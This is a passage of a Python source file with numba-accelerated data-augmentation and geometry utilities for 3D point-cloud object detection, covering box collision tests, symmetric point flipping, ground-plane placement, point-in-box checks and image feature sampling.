points_in_convex_polygon_3d_jit(pos_points[:, :3], surfaces)\n dbg_point_masks = np.where(np.sum(point_masks, axis=1) > 0)[0]\n points_transform_(pos_points, gt_boxes[:, :3], point_masks, loc_transforms,\n rot_transforms, scale_transforms, valid_mask, \n scale_3_dims, gt_boxes[:, -1])\n\n box3d_transform_(gt_boxes, loc_transforms, rot_transforms, scale_transforms, valid_mask)\n gt_boxes = gt_boxes[:, [0, 2, 1, 3, 5, 4, 6]]\n points[pos_index] = pos_points\n points = points[:, [0, 2, 1]]\n return gt_boxes, points\n\ndef add_symmetric_points_to_gt(boxes, points, sem_labels, sem_dists):\n \"\"\"\n Add symmetric points to ground truth\n boxes: [n, 7]\n points:[m, -1]\n sem_labels: [m]\n sem_dists: [m]\n \"\"\"\n pts_num = points.shape[0]\n # new_pts_list = [points]\n # new_sem_labels_list = [sem_labels]\n # new_sem_dists_list = [sem_dists]\n enlarge_boxes = boxes.copy()\n enlarge_boxes[:, 3:-1] += cfg.TRAIN.AUGMENTATIONS.EXPAND_DIMS_LENGTH\n total_inside_pts_mask = check_inside_points(points, enlarge_boxes) # [pts_num, gt_num]\n # first add all labels that not for any boxes in\n bg_pts_mask = np.where(np.max(total_inside_pts_mask, axis=-1) == 0)[0]\n new_pts_list = [points[bg_pts_mask]]\n new_sem_labels_list = [sem_labels[bg_pts_mask]]\n new_sem_dists_list = [sem_dists[bg_pts_mask]]\n for index, box in enumerate(boxes):\n # first gather points inside this box\n inside_pts_mask = total_inside_pts_mask[:, index]\n inside_pts_idx = np.where(inside_pts_mask > 0)[0]\n inside_pts = points[inside_pts_idx].copy() # [-1, 4]\n # then we flip these points according to z-axis\n inside_pts_i = inside_pts[:, 3:]\n inside_pts_xyz = inside_pts[:, :3]\n\n # flip\n inside_pts_xyz = inside_pts_xyz - box[np.newaxis, :3]\n inside_pts_xyz = symmetric_rotate_points_np(inside_pts_xyz[np.newaxis, :, :], box[np.newaxis, -1])\n inside_pts_xyz = np.squeeze(inside_pts_xyz, axis=0)\n inside_pts_xyz = inside_pts_xyz + box[np.newaxis, :3]\n inside_pts_flip = np.concatenate([inside_pts_xyz, inside_pts_i], axis=-1)\n\n new_pts_list.append(inside_pts_flip)\n new_sem_labels_list.append(np.ones([inside_pts_flip.shape[0]], dtype=sem_labels.dtype))\n new_sem_dists_list.append(np.ones([inside_pts_flip.shape[0]], dtype=sem_dists.dtype))\n new_pts_list = np.concatenate(new_pts_list, axis=0)\n new_sem_labels_list = np.concatenate(new_sem_labels_list, axis=0)\n new_sem_dists_list = np.concatenate(new_sem_dists_list, axis=0)\n return new_pts_list, new_sem_labels_list, new_sem_dists_list\n\n\ndef add_symmetric_points_to_gt_original_idx(boxes, points, sem_labels=None, sem_dists=None):\n \"\"\"\n Add symmetric points to ground truth\n difference from former method is that, it add same points into same position\n boxes: [n, 7]\n points:[m, -1]\n sem_labels: [m]\n sem_dists: [m]\n \"\"\"\n pts_num = points.shape[0]\n # new_pts_list = [points]\n # new_sem_labels_list = [sem_labels]\n # new_sem_dists_list = [sem_dists]\n points = points.copy()\n if sem_labels is not None and sem_dists is not None:\n sem_labels = sem_labels.copy()\n sem_dists = sem_dists.copy()\n enlarge_boxes = boxes.copy()\n # first of all, let's filter these empty gt\n useful_gt_mask = np.logical_not(np.all(np.equal(enlarge_boxes, 0), axis=-1))\n useful_gt_idx = np.where(useful_gt_mask)[0]\n enlarge_boxes = enlarge_boxes[useful_gt_idx]\n enlarge_boxes[:, 3:-1] += cfg.TRAIN.AUGMENTATIONS.EXPAND_DIMS_LENGTH\n total_inside_pts_mask = check_inside_points(points, enlarge_boxes) # [pts_num, gt_num]\n for index, box in enumerate(enlarge_boxes):\n # first gather points inside this box\n inside_pts_mask = total_inside_pts_mask[:, index]\n inside_pts_idx = np.where(inside_pts_mask > 0)[0]\n inside_pts = points[inside_pts_idx].copy() # [-1, 4]\n # then we flip these points according to z-axis\n inside_pts_i = inside_pts[:, 3:]\n inside_pts_xyz = inside_pts[:, :3]\n\n # flip\n inside_pts_xyz = inside_pts_xyz - box[np.newaxis, :3]\n inside_pts_xyz = symmetric_rotate_points_np(inside_pts_xyz[np.newaxis, :, :], box[np.newaxis, -1])\n inside_pts_xyz = np.squeeze(inside_pts_xyz, axis=0)\n inside_pts_xyz = inside_pts_xyz + box[np.newaxis, :3]\n inside_pts_flip = np.concatenate([inside_pts_xyz, inside_pts_i], axis=-1)\n\n points[inside_pts_idx] = inside_pts_flip\n if sem_labels is not None and sem_dists is not None:\n sem_labels[inside_pts_idx] = np.ones([inside_pts_flip.shape[0]], dtype=sem_labels.dtype)\n sem_dists[inside_pts_idx] = np.ones([inside_pts_flip.shape[0]], dtype=sem_dists.dtype)\n if sem_labels is not None and sem_dists is not None:\n return points, sem_labels, sem_dists\n else:\n return points\n\n\ndef box_3d_collision_test(boxes, q_boxes, classes, q_classes, boxes_points, points, sem_labels, sem_dists, plane, enlarge_range=[0.5, 2.0, 0.5]):\n \"\"\" Calculate whether two boxes are collided\n Args:\n boxes: [n, 7], x, y, z, l, h, w, ry, generate boxes\n q_boxes: [m, 7], x, y, z, l, h, w, ry, original boxes\n classes: [n], generate_boxes labels\n q_classes: [m], original_boxes labels\n boxes_points: [[], [], ...]\n points: [points_num, 3]\n Return:\n collision_matrix: [n, m] whether collision or not \n \"\"\"\n a, b, c, d = plane\n # first cast these boxes to the function used format\n enlarge_range = np.array(enlarge_range)\n\n avoid_boxes = boxes.copy()\n avoid_boxes[:, 3:-1] += enlarge_range\n boxes_bev = avoid_boxes[:, [0, 2, 3, 5, 6]]\n boxes_bev_corners = box2d_to_corner_jit(boxes_bev) \n num_boxes = boxes_bev.shape[0] \n\n for i in range(num_boxes):\n q_boxes_bev = q_boxes[:, [0, 2, 3, 5, 6]]\n q_boxes_bev_corners = box2d_to_corner_jit(q_boxes_bev)\n\n cur_boxes = boxes[i, :]\n cur_classes = classes[i]\n cur_boxes_bev_corners = boxes_bev_corners[i, :, :] \n\n # 1: collision, 0: non-collision \n coll_mat = box_collision_test(cur_boxes_bev_corners[np.newaxis, :, :], q_boxes_bev_corners)\n\n if not np.any(coll_mat):\n cur_boxes_points = boxes_points[i]\n cur_sem_labels = np.ones([len(cur_boxes_points)], dtype=np.int32) * cur_classes\n cur_sem_dists = np.ones([len(cur_boxes_points)], dtype=np.float32)\n\n cur_height = (-d - a * cur_boxes[0] - c * cur_boxes[2]) / b\n move_height = cur_boxes[1] - cur_height\n cur_boxes_points[:, 1] -= move_height\n cur_boxes[1] -= move_height\n\n points = np.concatenate([points, cur_boxes_points], axis=0)\n sem_labels = np.concatenate([sem_labels, cur_sem_labels], axis=0)\n sem_dists = np.concatenate([sem_dists, cur_sem_dists], axis=0)\n\n # finally, update the q_boxes\n q_boxes = np.concatenate([q_boxes, cur_boxes[np.newaxis, :]], axis=0)\n q_classes = np.concatenate([q_classes, [cur_classes]], axis=0)\n\n return q_boxes, q_classes, points, sem_labels, sem_dists \n\n\ndef box_3d_collision_test_nusc(boxes, q_boxes, classes, q_classes, boxes_points, boxes_attributes, boxes_velocity, points, attributes=None, velocity=None, cur_sweep_points_num=None, enlarge_range=[0.5, 2.0, 0.5]):\n \"\"\" Calculate whether two boxes are collided\n Args:\n boxes: [n, 7], x, y, z, l, h, w, ry, generate boxes\n q_boxes: [m, 7], x, y, z, l, h, w, ry, original boxes\n classes: [n], generate_boxes labels\n q_classes: [m], original_boxes labels\n boxes_points: [[], [], ...]\n points: [points_num, 3]\n Return:\n collision_matrix: [n, m] whether collision or not \n \"\"\"\n # first cast these boxes to the function used format\n enlarge_range = np.array(enlarge_range)\n\n avoid_boxes = boxes.copy()\n avoid_boxes[:, 3:-1] += enlarge_range\n boxes_bev = avoid_boxes[:, [0, 2, 3, 5, 6]]\n boxes_bev_corners = box2d_to_corner_jit(boxes_bev) \n num_boxes = boxes_bev.shape[0] \n \n sampled_points = []\n sampled_boxes = []\n for i in range(num_boxes):\n q_boxes_bev = q_boxes[:, [0, 2, 3, 5, 6]]\n q_boxes_bev_corners = box2d_to_corner_jit(q_boxes_bev)\n\n cur_boxes = boxes[i, :]\n cur_classes = classes[i]\n cur_attributes = boxes_attributes[i]\n cur_velocity = boxes_velocity[i]\n cur_boxes_bev_corners = boxes_bev_corners[i, :, :] \n\n # 1: collision, 0: non-collision \n coll_mat = box_collision_test(cur_boxes_bev_corners[np.newaxis, :, :], q_boxes_bev_corners)\n\n if not np.any(coll_mat):\n # now, add current points in\n cur_boxes_points = boxes_points[i]\n\n sampled_points.append(cur_boxes_points)\n sampled_boxes.append(cur_boxes)\n\n # finally, update the q_boxes\n q_boxes = np.concatenate([q_boxes, cur_boxes[np.newaxis, :]], axis=0)\n q_classes = np.concatenate([q_classes, [cur_classes]], axis=0)\n if attributes is not None:\n attributes = np.concatenate([attributes, [cur_attributes]], axis=0)\n if velocity is not None:\n velocity = np.concatenate([velocity, cur_velocity[np.newaxis, :]], axis=0)\n\n # finally remove points within boxes\n if len(sampled_points) != 0:\n sampled_points = np.concatenate(sampled_points, axis=0)\n sampled_boxes = np.stack(sampled_boxes, axis=0) # [-1, 7]\n point_masks = check_inside_points(points, sampled_boxes) # [num_points, gt_boxes]\n point_masks = np.max(point_masks, axis=1) # num_points\n keep_points = np.where(point_masks == 0)[0]\n\n cur_sample_num = np.sum(np.less(keep_points, cur_sweep_points_num).astype(np.int)) + len(sampled_points)\n\n points = np.concatenate([sampled_points, points[keep_points]], axis=0)\n else:\n cur_sample_num = cur_sweep_points_num\n\n return q_boxes, q_classes, points, attributes, velocity, cur_sample_num \n\ndef check_inside_points(points, cur_boxes):\n \"\"\"\n points: [num, n]\n cur_boxes: [m 7]\n return: [num, m]\n \"\"\"\n # first cast points to second format\n points = points.copy()\n cur_boxes = cur_boxes.copy()\n points_xyz = points[:, :3]\n points_xyz = points_xyz[:, [0, 2, 1]]\n\n cur_boxes = cur_boxes[:, [0, 2, 1, 3, 5, 4, 6]]\n\n origin = [0.5, 0.5, 1.0]\n cur_box_corners = center_to_corner_box3d(\n cur_boxes[:, :3],\n cur_boxes[:, 3:6],\n cur_boxes[:, 6],\n origin=origin,\n axis=2)\n surfaces = corner_to_surfaces_3d_jit(cur_box_corners)\n point_masks = points_in_convex_polygon_3d_jit(points_xyz, surfaces) # [num_points, gt_boxes]\n\n return point_masks\n\n\ndef filter_points_boxes_3d(label_boxes_3d, points, sem_labels, dist_labels, enlarge_range=[0.5, 2.0, 0.5]):\n \"\"\"\n Filter points inside each label_boxes_3d but not in sem_labels\n label_boxes_3d: [gt_num, 7]\n points: [points_num, 4]\n sem_labels: [points_num]\n dist_labels: [points_num]\n \"\"\"\n # first transpose points\n label_boxes_3d[:, 3:-1] += np.array(enlarge_range)\n\n pos_index = np.where(sem_labels >= 1)[0]\n neg_index = np.where(sem_labels == 0)[0]\n neg_points = points[neg_index]\n\n point_masks = check_inside_points(neg_points, label_boxes_3d) # [pts_num, gt_num]\n\n point_masks = np.equal(np.max(point_masks, axis=1), 0) # [points_num]\n stored_index = np.where(point_masks)[0] # neg points not in label_boxes_3d\n\n stored_index = neg_index[stored_index]\n stored_index = np.concatenate([pos_index, stored_index])\n points = points[stored_index]\n sem_labels = sem_labels[stored_index]\n dist_labels = dist_labels[stored_index]\n\n label_boxes_3d[:, 3:-1] -= np.array(enlarge_range)\n return label_boxes_3d, points, sem_labels, dist_labels\n\ndef put_boxes_on_planes(label_boxes_3d, points, sem_labels, plane, expand_dims_length):\n \"\"\"\n label_boxes_3d: [gt_num, 7]\n plane: 4 params, a/b/c/d\n \"\"\"\n a,b,c,d = plane\n gt_num = label_boxes_3d.shape[0]\n\n cp_label_boxes_3d = label_boxes_3d.copy()\n cp_label_boxes_3d[:, 3:-1] += expand_dims_length\n\n pos_index = np.where(sem_labels >= 1)[0]\n pos_points = points[pos_index]\n pos_points_mask = check_inside_points(pos_points, cp_label_boxes_3d) # [pts_num, gt_num]\n assigned_gt = np.argmax(pos_points_mask, axis=1) # [pts_num]\n\n # gt_num\n y_plane = (-d - a * label_boxes_3d[:, 0] - c * label_boxes_3d[:, 2]) / b\n mv_vector_box = label_boxes_3d[:, 1] - y_plane\n mv_vector_pts = mv_vector_box[assigned_gt]\n\n pos_points[:, 1] -= mv_vector_pts\n label_boxes_3d[:, 1] -= mv_vector_box\n\n points[pos_index] = pos_points\n return points, label_boxes_3d\n\n\[email protected]\ndef noise_per_box(boxes, valid_mask, loc_noises, rot_noises, scale_noises, scale_3_dims):\n # boxes: [N, 5]\n # valid_mask: [N]\n # loc_noises: [N, M, 3]\n # rot_noises: [N, M]\n # scale_noises: [N, M], if scale_3_dims ---> [N, M, 3]\n # scale_3_dims: whether scale on each dims\n num_boxes = boxes.shape[0]\n num_tests = loc_noises.shape[1]\n box_corners = box2d_to_corner_jit(boxes)\n current_corners = np.zeros((4, 2), dtype=boxes.dtype)\n rot_mat_T = np.zeros((2, 2), dtype=boxes.dtype)\n success_mask = -np.ones((num_boxes, ), dtype=np.int64)\n # print(valid_mask)\n for i in range(num_boxes):\n if valid_mask[i]:\n for j in range(num_tests):\n current_corners[:] = box_corners[i]\n current_corners -= boxes[i, :2]\n _rotation_box2d_jit_(current_corners, rot_noises[i, j],\n rot_mat_T)\n if scale_3_dims:\n current_corners[:, 0] *= scale_noises[i, j, 0]\n current_corners[:, 2] *= scale_noises[i, j, 2]\n else:\n current_corners *= scale_noises[i, j, 0]\n current_corners += boxes[i, :2] + loc_noises[i, j, :2]\n coll_mat = box_collision_test(\n current_corners.reshape(1, 4, 2), box_corners)\n coll_mat[0, i] = False\n # print(coll_mat)\n if not coll_mat.any():\n success_mask[i] = j\n box_corners[i] = current_corners\n break\n return success_mask\n\[email protected]\ndef noise_per_box_v2_(boxes, valid_mask, loc_noises, rot_noises,\n global_rot_noises):\n # boxes: [N, 5]\n # valid_mask: [N]\n # loc_noises: [N, M, 3]\n # rot_noises: [N, M]\n num_boxes = boxes.shape[0]\n num_tests = loc_noises.shape[1]\n box_corners = box2d_to_corner_jit(boxes)\n current_corners = np.zeros((4, 2), dtype=boxes.dtype)\n current_box = np.zeros((1, 5), dtype=boxes.dtype)\n rot_mat_T = np.zeros((2, 2), dtype=boxes.dtype)\n dst_pos = np.zeros((2, ), dtype=boxes.dtype)\n success_mask = -np.ones((num_boxes, ), dtype=np.int64)\n corners_norm = np.zeros((4, 2), dtype=boxes.dtype)\n corners_norm[1, 1] = 1.0\n corners_norm[2] = 1.0\n corners_norm[3, 0] = 1.0\n corners_norm -= np.array([0.5, 0.5], dtype=boxes.dtype)\n corners_norm = corners_norm.reshape(4, 2)\n for i in range(num_boxes):\n if valid_mask[i]:\n for j in range(num_tests):\n current_box[0, :] = boxes[i]\n current_radius = np.sqrt(boxes[i, 0]**2 + boxes[i, 1]**2)\n current_grot = np.arctan2(boxes[i, 0], boxes[i, 1])\n dst_grot = current_grot + global_rot_noises[i, j]\n dst_pos[0] = current_radius * np.sin(dst_grot)\n dst_pos[1] = current_radius * np.cos(dst_grot)\n current_box[0, :2] = dst_pos\n current_box[0, -1] += (dst_grot - current_grot)\n\n rot_sin = np.sin(current_box[0, -1])\n rot_cos = np.cos(current_box[0, -1])\n rot_mat_T[0, 0] = rot_cos\n rot_mat_T[0, 1] = -rot_sin\n rot_mat_T[1, 0] = rot_sin\n rot_mat_T[1, 1] = rot_cos\n current_corners[:] = current_box[0, 2:\n 4] * corners_norm @ rot_mat_T + current_box[0, :\n 2]\n current_corners -= current_box[0, :2]\n _rotation_box2d_jit_(current_corners, rot_noises[i, j],\n rot_mat_T)\n current_corners += current_box[0, :2] + loc_noises[i, j, :2]\n coll_mat = box_collision_test(\n current_corners.reshape(1, 4, 2), box_corners)\n coll_mat[0, i] = False\n if not coll_mat.any():\n success_mask[i] = j\n box_corners[i] = current_corners\n loc_noises[i, j, :2] += (dst_pos - boxes[i, :2])\n rot_noises[i, j] += (dst_grot - current_grot)\n break\n return success_mask\n\[email protected](nopython=False)\ndef surface_equ_3d_jit(polygon_surfaces):\n # return [a, b, c], d in ax+by+cz+d=0\n # polygon_surfaces: [num_polygon, num_surfaces, num_points_of_polygon, 3]\n surface_vec = polygon_surfaces[:, :, :2, :] - polygon_surfaces[:, :, 1:3, :]\n # normal_vec: [..., 3]\n normal_vec = np.cross(surface_vec[:, :, 0, :], surface_vec[:, :, 1, :])\n # print(normal_vec.shape, points[..., 0, :].shape)\n # d = -np.inner(normal_vec, points[..., 0, :])\n d = np.einsum('aij, aij->ai', normal_vec, polygon_surfaces[:, :, 0, :])\n return normal_vec, -d\n\[email protected](nopython=True)\ndef box2d_to_corner_jit(boxes):\n num_box = boxes.shape[0]\n corners_norm = np.zeros((4, 2), dtype=boxes.dtype)\n corners_norm[1, 1] = 1.0\n corners_norm[2] = 1.0\n corners_norm[3, 0] = 1.0\n corners_norm -= np.array([0.5, 0.5], dtype=boxes.dtype)\n corners = boxes.reshape(num_box, 1, 5)[:, :, 2:4] * corners_norm.reshape(\n 1, 4, 2)\n rot_mat_T = np.zeros((2, 2), dtype=boxes.dtype)\n box_corners = np.zeros((num_box, 4, 2), dtype=boxes.dtype)\n for i in range(num_box):\n rot_sin = np.sin(boxes[i, -1])\n rot_cos = np.cos(boxes[i, -1])\n rot_mat_T[0, 0] = rot_cos\n rot_mat_T[0, 1] = -rot_sin\n rot_mat_T[1, 0] = rot_sin\n rot_mat_T[1, 1] = rot_cos\n box_corners[i] = corners[i] @ rot_mat_T + boxes[i, :2]\n return box_corners\n\[email protected](nopython=False)\ndef points_in_convex_polygon_3d_jit(points,\n polygon_surfaces,\n ):\n \"\"\"check points is in 3d convex polygons.\n Args:\n points: [num_points, 3] array.\n polygon_surfaces: [num_polygon, max_num_surfaces, \n max_num_points_of_surface, 3] \n array. all surfaces' normal vector must direct to internal.\n max_num_points_of_surface must at least 3.\n num_surfaces: [num_polygon] array. indicate how many surfaces \n a polygon contain\n Returns:\n [num_points, num_polygon] bool array.\n \"\"\"\n max_num_surfaces, max_num_points_of_surface = polygon_surfaces.shape[1:3]\n num_points = points.shape[0]\n num_polygons = polygon_surfaces.shape[0]\n num_surfaces = np.full((num_polygons,), 9999999, dtype=np.int64)\n normal_vec, d = surface_equ_3d_jit(polygon_surfaces[:, :, :3, :])\n # normal_vec: [num_polygon, max_num_surfaces, 3]\n # d: [num_polygon, max_num_surfaces]\n ret = np.ones((num_points, num_polygons), dtype=np.bool_)\n sign = 0.0\n for i in range(num_points):\n for j in range(num_polygons):\n for k in range(max_num_surfaces):\n if k > num_surfaces[j]:\n break\n sign = points[i, 0] * normal_vec[j, k, 0] \\\n + points[i, 1] * normal_vec[j, k, 1] \\\n + points[i, 2] * normal_vec[j, k, 2] + d[j, k]\n if sign >= 0:\n ret[i, j] = False\n break\n return ret\n\[email protected](nopython=True)\ndef corner_to_surfaces_3d_jit(corners):\n \"\"\"convert 3d box corners from corner function above\n to surfaces that normal vectors all direct to internal.\n Args:\n corners (float array, [N, 8, 3]): 3d box corners. \n Returns:\n surfaces (float array, [N, 6, 4, 3]): \n \"\"\"\n # box_corners: [N, 8, 3], must from corner functions in this module\n num_boxes = corners.shape[0]\n surfaces = np.zeros((num_boxes, 6, 4, 3), dtype=corners.dtype)\n corner_idxes = np.array([\n 0, 1, 2, 3, 7, 6, 5, 4, 0, 3, 7, 4, 1, 5, 6, 2, 0, 4, 5, 1, 3, 2, 6, 7\n ]).reshape(6, 4)\n for i in range(num_boxes):\n for j in range(6):\n for k in range(4):\n surfaces[i, j, k] = corners[i, corner_idxes[j, k]]\n return surfaces\n\[email protected]\ndef points_transform_(points, centers, point_masks, loc_transform,\n rot_transform, scale_transform, valid_mask,\n scale_3_dims, angles):\n num_box = centers.shape[0]\n num_points = points.shape[0]\n rot_mat_T = np.zeros((num_box, 3, 3), dtype=points.dtype)\n if scale_3_dims:\n rot_mat_original_T = np.zeros((num_box, 3, 3), dtype=points.dtype)\n for i in range(num_box):\n _rotation_matrix_3d_(rot_mat_original_T[i], -angles[i], 2)\n _rotation_matrix_3d_(rot_mat_T[i], rot_transform[i] + angles[i], 2)\n else:\n for i in range(num_box):\n _rotation_matrix_3d_(rot_mat_T[i], rot_transform[i], 2)\n for i in range(num_points):\n for j in range(num_box):\n if valid_mask[j]:\n if point_masks[i, j] == 1:\n points[i, :3] -= centers[j, :3]\n if scale_3_dims:\n points[i:i+1, :3] = points[i:i+1, :3] @ rot_mat_original_T[j]\n points[i, :3] *= scale_transform[j]\n else:\n points[i, :3] *= scale_transform[j]\n points[i:i + 1, :3] = points[i:i + 1, :3] @ rot_mat_T[j]\n points[i, :3] += centers[j, :3]\n points[i, :3] += loc_transform[j]\n break # only apply first box's transform\n\[email protected]\ndef corner_to_standup_nd_jit(boxes_corner):\n num_boxes = boxes_corner.shape[0]\n ndim = boxes_corner.shape[-1]\n result = np.zeros((num_boxes, ndim * 2), dtype=boxes_corner.dtype)\n for i in range(num_boxes):\n for j in range(ndim):\n result[i, j] = np.min(boxes_corner[i, :, j])\n for j in range(ndim):\n result[i, j + ndim] = np.max(boxes_corner[i, :, j])\n return result\n\[email protected](nopython=True)\ndef box_collision_test(boxes, qboxes, clockwise=True):\n N = boxes.shape[0]\n K = qboxes.shape[0]\n ret = np.zeros((N, K), dtype=np.bool_)\n slices = np.array([1, 2, 3, 0])\n lines_boxes = np.stack(\n (boxes, boxes[:, slices, :]), axis=2) # [N, 4, 2(line), 2(xy)]\n lines_qboxes = np.stack((qboxes, qboxes[:, slices, :]), axis=2)\n # vec = np.zeros((2,), dtype=boxes.dtype)\n boxes_standup = corner_to_standup_nd_jit(boxes)\n qboxes_standup = corner_to_standup_nd_jit(qboxes)\n for i in range(N):\n for j in range(K):\n # calculate standup first\n iw = (min(boxes_standup[i, 2], qboxes_standup[j, 2]) - max(\n boxes_standup[i, 0], qboxes_standup[j, 0]))\n if iw > 0:\n ih = (min(boxes_standup[i, 3], qboxes_standup[j, 3]) - max(\n boxes_standup[i, 1], qboxes_standup[j, 1]))\n if ih > 0:\n for k in range(4):\n for l in range(4):\n A = lines_boxes[i, k, 0]\n B = lines_boxes[i, k, 1]\n C = lines_qboxes[j, l, 0]\n D = lines_qboxes[j, l, 1]\n acd = (D[1] - A[1]) * (C[0] - A[0]) > (\n C[1] - A[1]) * (D[0] - A[0])\n bcd = (D[1] - B[1]) * (C[0] - B[0]) > (\n C[1] - B[1]) * (D[0] - B[0])\n if acd != bcd:\n abc = (C[1] - A[1]) * (B[0] - A[0]) > (\n B[1] - A[1]) * (C[0] - A[0])\n abd = (D[1] - A[1]) * (B[0] - A[0]) > (\n B[1] - A[1]) * (D[0] - A[0])\n if abc != abd:\n ret[i, j] = True # collision.\n break\n if ret[i, j] is True:\n break\n if ret[i, j] is False:\n # now check complete overlap.\n # box overlap qbox:\n box_overlap_qbox = True\n for l in range(4): # point l in qboxes\n for k in range(4): # corner k in boxes\n vec = boxes[i, k] - boxes[i, (k + 1) % 4]\n if clockwise:\n vec = -vec\n cross = vec[1] * (\n boxes[i, k, 0] - qboxes[j, l, 0])\n cross -= vec[0] * (\n boxes[i, k, 1] - qboxes[j, l, 1])\n if cross >= 0:\n box_overlap_qbox = False\n break\n if box_overlap_qbox is False:\n break\n\n if box_overlap_qbox is False:\n qbox_overlap_box = True\n for l in range(4): # point l in boxes\n for k in range(4): # corner k in qboxes\n vec = qboxes[j, k] - qboxes[j, (k + 1) % 4]\n if clockwise:\n vec = -vec\n cross = vec[1] * (\n qboxes[j, k, 0] - boxes[i, l, 0])\n cross -= vec[0] * (\n qboxes[j, k, 1] - boxes[i, l, 1])\n if cross >= 0: #\n qbox_overlap_box = False\n break\n if qbox_overlap_box is False:\n break\n if qbox_overlap_box:\n ret[i, j] = True # collision.\n else:\n ret[i, j] = True # collision.\n return ret\n\[email protected]\ndef _rotation_matrix_3d_(rot_mat_T, angle, axis):\n rot_sin = np.sin(angle)\n rot_cos = np.cos(angle)\n rot_mat_T[:] = np.eye(3)\n if axis == 1:\n rot_mat_T[0, 0] = rot_cos\n rot_mat_T[0, 2] = -rot_sin\n rot_mat_T[2, 0] = rot_sin\n rot_mat_T[2, 2] = rot_cos\n elif axis == 2 or axis == -1:\n rot_mat_T[0, 0] = rot_cos\n rot_mat_T[0, 1] = -rot_sin\n rot_mat_T[1, 0] = rot_sin\n rot_mat_T[1, 1] = rot_cos\n elif axis == 0:\n rot_mat_T[1, 1] = rot_cos\n rot_mat_T[1, 2] = -rot_sin\n rot_mat_T[2, 1] = rot_sin\n rot_mat_T[2, 2] = rot_cos\n\[email protected]\ndef box3d_transform_(boxes, loc_transform, rot_transform, scale_transforms, valid_mask):\n num_box = boxes.shape[0]\n for i in range(num_box):\n if valid_mask[i]:\n boxes[i, :3] += loc_transform[i]\n boxes[i, 3:6] *= scale_transforms[i]\n boxes[i, 6] += rot_transform[i]\n\[email protected]\ndef _rotation_box2d_jit_(corners, angle, rot_mat_T):\n rot_sin = np.sin(angle)\n rot_cos = np.cos(angle)\n rot_mat_T[0, 0] = rot_cos\n rot_mat_T[0, 1] = -rot_sin\n rot_mat_T[1, 0] = rot_sin\n rot_mat_T[1, 1] = rot_cos\n corners[:] = corners @ rot_mat_T\n\n# Dont need numba\ndef center_to_corner_box3d(centers,\n dims,\n angles=None,\n origin=[0.5, 1.0, 0.5],\n axis=1):\n \"\"\"convert kitti locations, dimensions and angles to corners\n \n Args:\n centers (float array, shape=[N, 3]): locations in kitti label file.\n dims (float array, shape=[N, 3]): dimensions in kitti label file.\n angles (float array, shape=[N]): rotation_y in kitti label file.\n origin (list or array or float): origin point relate to smallest point.\n use [0.5, 1.0, 0.5] in camera and [0.5, 0.5, 0] in lidar.\n axis (int): rotation axis. 1 for camera and 2 for lidar.\n Returns:\n [type]: [description]\n \"\"\"\n # 'length' in kitti format is in x axis.\n # yzx(hwl)(kitti label file)<->xyz(lhw)(camera)<->z(-x)(-y)(wlh)(lidar)\n # center in kitti format is [0.5, 1.0, 0.5] in xyz.\n corners = corners_nd(dims, origin=origin)\n # corners: [N, 8, 3]\n if angles is not None:\n corners = rotation_3d_in_axis(corners, angles, axis=axis)\n corners += centers.reshape([-1, 1, 3])\n return corners\n\ndef corners_nd(dims, origin=0.5):\n \"\"\"generate relative box corners based on length per dim and\n origin point. \n \n Args:\n dims (float array, shape=[N, ndim]): array of length per dim\n origin (list or array or float): origin point relate to smallest point.\n \n Returns:\n float array, shape=[N, 2 ** ndim, ndim]: returned corners. \n point layout example: (2d) x0y0, x0y1, x1y0, x1y1;\n (3d) x0y0z0, x0y0z1, x0y1z0, x0y1z1, x1y0z0, x1y0z1, x1y1z0, x1y1z1\n where x0 < x1, y0 < y1, z0 < z1\n \"\"\"\n ndim = int(dims.shape[1])\n corners_norm = np.stack(\n np.unravel_index(np.arange(2**ndim), [2] * ndim), axis=1).astype(\n dims.dtype)\n # now corners_norm has format: (2d) x0y0, x0y1, x1y0, x1y1\n # (3d) x0y0z0, x0y0z1, x0y1z0, x0y1z1, x1y0z0, x1y0z1, x1y1z0, x1y1z1\n # so need to convert to a format which is convenient to do other computing.\n # for 2d boxes, format is clockwise start with minimum point\n # for 3d boxes, please draw lines by your hand.\n if ndim == 2:\n # generate clockwise box corners\n corners_norm = corners_norm[[0, 1, 3, 2]]\n elif ndim == 3:\n corners_norm = corners_norm[[0, 1, 3, 2, 4, 5, 7, 6]]\n corners_norm = corners_norm - np.array(origin, dtype=dims.dtype)\n corners = dims.reshape([-1, 1, ndim]) * corners_norm.reshape(\n [1, 2**ndim, ndim])\n return corners\n\ndef rotation_3d_in_axis(points, angles, axis=0):\n # points: [N, point_size, 3]\n rot_sin = np.sin(angles)\n rot_cos = np.cos(angles)\n ones = np.ones_like(rot_cos)\n zeros = np.zeros_like(rot_cos)\n if axis == 1:\n rot_mat_T = np.stack([[rot_cos, zeros, -rot_sin], [zeros, ones, zeros],\n [rot_sin, zeros, rot_cos]])\n elif axis == 2 or axis == -1:\n rot_mat_T = np.stack([[rot_cos, -rot_sin, zeros],\n [rot_sin, rot_cos, zeros], [zeros, zeros, ones]])\n elif axis == 0:\n rot_mat_T = np.stack([[zeros, rot_cos, -rot_sin],\n [zeros, rot_sin, rot_cos], [ones, zeros, zeros]])\n else:\n raise ValueError(\"axis should in range\")\n\n return np.einsum('aij,jka->aik', points, rot_mat_T)\n\ndef _select_transform(transform, indices):\n result = np.zeros(\n (transform.shape[0], *transform.shape[2:]), dtype=transform.dtype)\n for i in range(transform.shape[0]):\n if indices[i] != -1:\n result[i] = transform[i, indices[i]]\n return result\n\n############## Get image feature of each points ###################\[email protected](nopython=True)\ndef get_coeff(x, y):\n x = np.abs(x)\n y = np.abs(y)\n return (1 - x) * (1 - y)\n\[email protected](nopython=True)\ndef get_data(img_feature, x, y, width, height):\n overflow = (x < 0) or (y < 0) or (x >= width) or (y >= height)\n ret_val = np.zeros((img_feature.shape[-1]), dtype=img_feature.dtype)\n if not overflow:\n ret_val = img_feature[y, x]\n return ret_val\n\[email protected](nopython=True)\ndef get_point_image_feature(img_feature, image_v):\n \"\"\" Get Image info\n img_feature: [h, w, c]\n image_v: [n, 2], x, y location for each\n \"\"\"\n points_num = image_v.shape[0]\n channels = img_feature.shape[-1]\n return_feature = np.zeros((points_num, channels), dtype=img_feature.dtype)\n height = img_feature.shape[0]\n width = img_feature.shape[1]\n for i in range(points_num):\n cur_x, cur_y = image_v[i]\n\n # then get current value\n x1 = np.int(np.floor(cur_x))\n y1 = np.int(np.floor(cur_y))\n ret_val = get_data(img_feature, x1, y1, width, height) * get_coeff(cur_x - x1, cur_y - y1)\n\n x1 = np.int(np.floor(cur_x) + 1)\n y1 = np.int(np.floor(cur_y))\n ret_val += get_data(img_feature, x1, y1, width, 